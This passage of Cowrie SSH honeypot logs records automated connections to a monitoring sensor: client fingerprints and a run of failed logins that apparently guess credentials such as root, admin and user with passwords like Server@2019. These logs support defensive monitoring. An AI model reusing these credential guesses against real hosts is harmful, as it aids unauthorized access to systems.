-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:27.290696Z","src_ip":"81.91.233.66","session":"ea8aabde48dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2016","message":"login attempt [admin/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:28.304235Z","src_ip":"81.91.233.66","session":"ea8aabde48dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48642,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bd78621320d","protocol":"ssh","message":"New connection: 103.15.222.183:48642 (10.17.0.5:22) [session: 8bd78621320d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:28.341424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:28.344981Z","src_ip":"103.15.222.183","session":"8bd78621320d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:28.578672Z","src_ip":"103.15.222.183","session":"8bd78621320d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:28.786901Z","src_ip":"81.91.233.66","session":"ea8aabde48dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":63571,"dst_ip":"10.17.0.5","dst_port":22,"session":"1767f956f39d","protocol":"ssh","message":"New connection: 81.91.233.66:63571 (10.17.0.5:22) [session: 1767f956f39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:29.059912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:29.063960Z","src_ip":"81.91.233.66","session":"1767f956f39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250219","message":"login attempt [root/250219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:29.263419Z","src_ip":"103.15.222.183","session":"8bd78621320d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:29.316691Z","src_ip":"81.91.233.66","session":"1767f956f39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2016","message":"login attempt [user/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:30.358953Z","src_ip":"81.91.233.66","session":"1767f956f39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:30.493611Z","src_ip":"103.15.222.183","session":"8bd78621320d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:30.845999Z","src_ip":"81.91.233.66","session":"1767f956f39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":4260,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb4933acfa5","protocol":"ssh","message":"New connection: 81.91.233.66:4260 (10.17.0.5:22) [session: fdb4933acfa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:31.111281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:31.116006Z","src_ip":"81.91.233.66","session":"fdb4933acfa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:31.368477Z","src_ip":"81.91.233.66","session":"fdb4933acfa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2016","message":"login attempt [user2/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:32.407916Z","src_ip":"81.91.233.66","session":"fdb4933acfa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:32.900767Z","src_ip":"81.91.233.66","session":"fdb4933acfa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:32.973480Z","src_ip":"8.210.75.243","session":"62d023dff228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":63797,"dst_ip":"10.17.0.5","dst_port":22,"session":"839455352618","protocol":"ssh","message":"New connection: 81.91.233.66:63797 (10.17.0.5:22) [session: 839455352618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:33.151905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:33.155799Z","src_ip":"81.91.233.66","session":"839455352618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:33.400542Z","src_ip":"81.91.233.66","session":"839455352618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:34.411374Z","src_ip":"81.91.233.66","session":"839455352618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:34.895974Z","src_ip":"81.91.233.66","session":"839455352618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":63909,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d9f1e972912","protocol":"ssh","message":"New connection: 81.91.233.66:63909 (10.17.0.5:22) [session: 2d9f1e972912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:35.167347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:35.171119Z","src_ip":"81.91.233.66","session":"2d9f1e972912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:35.420758Z","src_ip":"81.91.233.66","session":"2d9f1e972912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2019","message":"login attempt [admin/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:36.456450Z","src_ip":"81.91.233.66","session":"2d9f1e972912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:36.939643Z","src_ip":"81.91.233.66","session":"2d9f1e972912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64018,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04f08dce496","protocol":"ssh","message":"New connection: 81.91.233.66:64018 (10.17.0.5:22) [session: b04f08dce496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:37.202877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:37.210107Z","src_ip":"81.91.233.66","session":"b04f08dce496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:37.460475Z","src_ip":"81.91.233.66","session":"b04f08dce496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2019","message":"login attempt [user/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:38.491468Z","src_ip":"81.91.233.66","session":"b04f08dce496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:38.976471Z","src_ip":"81.91.233.66","session":"b04f08dce496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64130,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1fe6f69bd5","protocol":"ssh","message":"New connection: 81.91.233.66:64130 (10.17.0.5:22) [session: 0a1fe6f69bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:39.238288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:39.242835Z","src_ip":"81.91.233.66","session":"0a1fe6f69bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:39.491819Z","src_ip":"81.91.233.66","session":"0a1fe6f69bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2019","message":"login attempt [user2/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:40.515611Z","src_ip":"81.91.233.66","session":"0a1fe6f69bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:40.993410Z","src_ip":"81.91.233.66","session":"0a1fe6f69bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":4365,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e5e323c7c6","protocol":"ssh","message":"New connection: 81.91.233.66:4365 (10.17.0.5:22) [session: 42e5e323c7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:41.264517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:41.269141Z","src_ip":"81.91.233.66","session":"42e5e323c7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:41.520219Z","src_ip":"81.91.233.66","session":"42e5e323c7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2021","message":"login attempt [root/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:42.559919Z","src_ip":"81.91.233.66","session":"42e5e323c7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:43.051336Z","src_ip":"81.91.233.66","session":"42e5e323c7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":64369,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bd5243cbdb5","protocol":"ssh","message":"New connection: 81.91.233.66:64369 (10.17.0.5:22) [session: 8bd5243cbdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:43.317064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:43.321440Z","src_ip":"81.91.233.66","session":"8bd5243cbdb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:43.572756Z","src_ip":"81.91.233.66","session":"8bd5243cbdb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2021","message":"login attempt [admin/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:28:44.615055Z","src_ip":"81.91.233.66","session":"8bd5243cbdb5","protocol":"ssh"}
